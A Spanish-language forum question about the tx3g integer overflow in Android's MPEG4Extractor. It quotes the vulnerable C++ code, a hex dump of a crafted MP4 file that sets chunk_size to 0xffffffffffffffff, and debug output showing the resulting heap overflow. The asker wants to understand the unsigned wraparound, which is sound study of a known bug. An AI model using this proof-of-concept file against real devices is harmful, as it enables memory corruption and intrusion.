Estoy tratando de entender cómo se produce aquí "Desbordamiento de enteros" y cómo funciona.
La vulnerabilidad existe en el fragmento de "tx3g". Chunk_size es la unidad que desborda la suma de tamaño. Es decir, la memoria asignada es menor que el tamaño. Por lo tanto, la función memcpy causará un desbordamiento del montón.
case FOURCC('t', 'x', '3', 'g'):
{
uint32_t type;
const void *data;
size_t size = 0;
if (!mLastTrack->meta->findData(
kKeyTextFormatData, &type, &data, &size)) {
size = 0;
}
uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here
if (size > 0) {
memcpy(buffer, data, size); // <---- Oh dear.
}
if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
< chunk_size) {
delete[] buffer;
buffer = NULL;
return ERROR_IO;
}
mLastTrack->meta->setData(
kKeyTextFormatData, 0, buffer, size + chunk_size);
delete[] buffer;
*offset += chunk_size;
break;
}
Tenga en cuenta que chunk_size es un uint64_t que se analiza desde el archivo; está completamente controlado por el atacante y no está validado con respecto a los datos restantes disponibles en el archivo.
Si intentamos explotarlo con un archivo MP4 de este tipo:
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001 ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018 isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141 tx3gAAAAAAAAAAAA
0000030: 4141 4141 0000 0001 7478 3367 ffff ffff AAAA....tx3g....
0000040: ffff ffff 4242 4242 4242 4242 4242 4242 ....BBBBBBBBBBBB
0000050: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
0000060: 4242 4242 BBBB
Esto debería suceder durante la depuración:
MPEG4Extractor: Identified supported mpeg4 through LegacySniffMPEG4.
MPEG4Extractor: trak: new Track[20] (0xb6048160)
MPEG4Extractor: trak: mLastTrack = 0xb6048160
MPEG4Extractor: tx3g: size 0 chunk_size 24
MPEG4Extractor: tx3g: new[24] (0xb6048130)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048130, 24)
MPEG4Extractor: tx3g: size 24 chunk_size 18446744073709551615
MPEG4Extractor: tx3g: new[23] (0xb6048130)
MPEG4Extractor: tx3g: memcpy(0xb6048130, 0xb6048148, 24)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048148, 18446744073709551615)
Aquí está mi pregunta:
Si configuro el tamaño de Chunk en 0xffffffffffffffff , ¿por qué se interpreta como "-1", por lo que en este código "24-1", entonces "23" en este código:
uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here
Lo veo aquí en debug:
MPEG4Extractor: tx3g: new[23] (0xb6048130)
y no "24 + 18446744073709551615", que creo que debería dar como resultado "0"?
Tal vez no lo expliqué lo suficientemente bien o tuve algún error de pensamiento, aquí está el enlace a la entrada original del blog. explicando este desbordamiento de enteros.